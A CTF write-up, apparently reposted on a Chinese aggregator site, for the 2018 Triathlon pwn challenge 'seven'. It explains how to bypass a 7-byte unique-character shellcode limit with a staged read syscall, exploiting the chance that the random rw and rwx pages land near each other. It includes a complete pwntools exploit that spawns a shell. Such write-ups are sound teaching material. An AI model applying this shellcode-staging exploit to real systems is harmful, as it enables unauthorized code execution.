铁人三项(第五赛区)_2018_seven

Posted rookle

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了铁人三项(第五赛区)_2018_seven相关的知识,希望对你有一定的参考价值。

铁人三项(第五赛区)_2018_seven

先来看看保护

技术图片

保护全开,IDA分析

技术图片

首先申请了mmap两个随机地址的空间,一个为rwx,一个为rw

技术图片

读入的都shellcode长度小于等于7,且这7个字符不能重复。

然后把一个叫initial的东西复制到rwx_page上,再把我们写的shellcode拼接到其后面

技术图片

可能有些不太准,等会儿gdb调试的时候再看看

技术图片

gdb调试进入执行的shellcode,分析一波

技术图片

可以看到这是刚刚的那个initial,执行完了是这样的

技术图片

RSP指向一片空白的区域。看到RAX,rdi为0,这里我想到了shellcode注入。我们要尽力构造sys_read来注入全部的shellcode,但是我们输入shellcode有限制。

这里我在调试的时候突然发现有的时候RSP跟RIP很近。因为RSP对应rw_page而 RIP:对应rwx_page,

这两块地址是随机的,所以存在他们离的很近的可能性。下图是我截到的图。

技术图片

执行完initial的情况

技术图片

好了我们现在只要做2件事。

  1. 构造read(0,RSP,len) 这里len必须要大一点
push rsp
pop rsi
mov dx,si
syscall

技术图片

  1. 注入我们的shellcode,覆写syscall之后的指令
‘A‘*0xb37 + asm(shellcraft.sh())

毕竟这也是随机的,多试几次就行了。

exp:

from pwn import *
#context.log_level = ‘debug‘
context(os=‘linux‘,arch=‘amd64‘,endian=‘little‘)
p = process(‘./2018_seven‘)
#gdb.attach(p,‘b *0x555555554d0b‘)
shellcode = asm(‘push rsp;pop rsi;mov dx,si;syscall‘)
p.sendafter(‘shellcode:
‘,shellcode)
sleep(1)
p.sendline(‘A‘*0xb37+ asm(shellcraft.sh()))

p.interactive()

以上是关于铁人三项(第五赛区)_2018_seven的主要内容,如果未能解决你的问题,请参考以下文章

铁人三项(第五赛区)_2018_rop

鹏城杯_2018_treasure

鹏城杯_2018_treasure

2018信息安全铁人三项第三赛区数据赛题解

ACM-ICPC 2018 徐州赛区网络预赛 D. EasyMath

ACM-ICPC 2018 焦作赛区网络预赛 E. Jiu Yuan Wants to Eat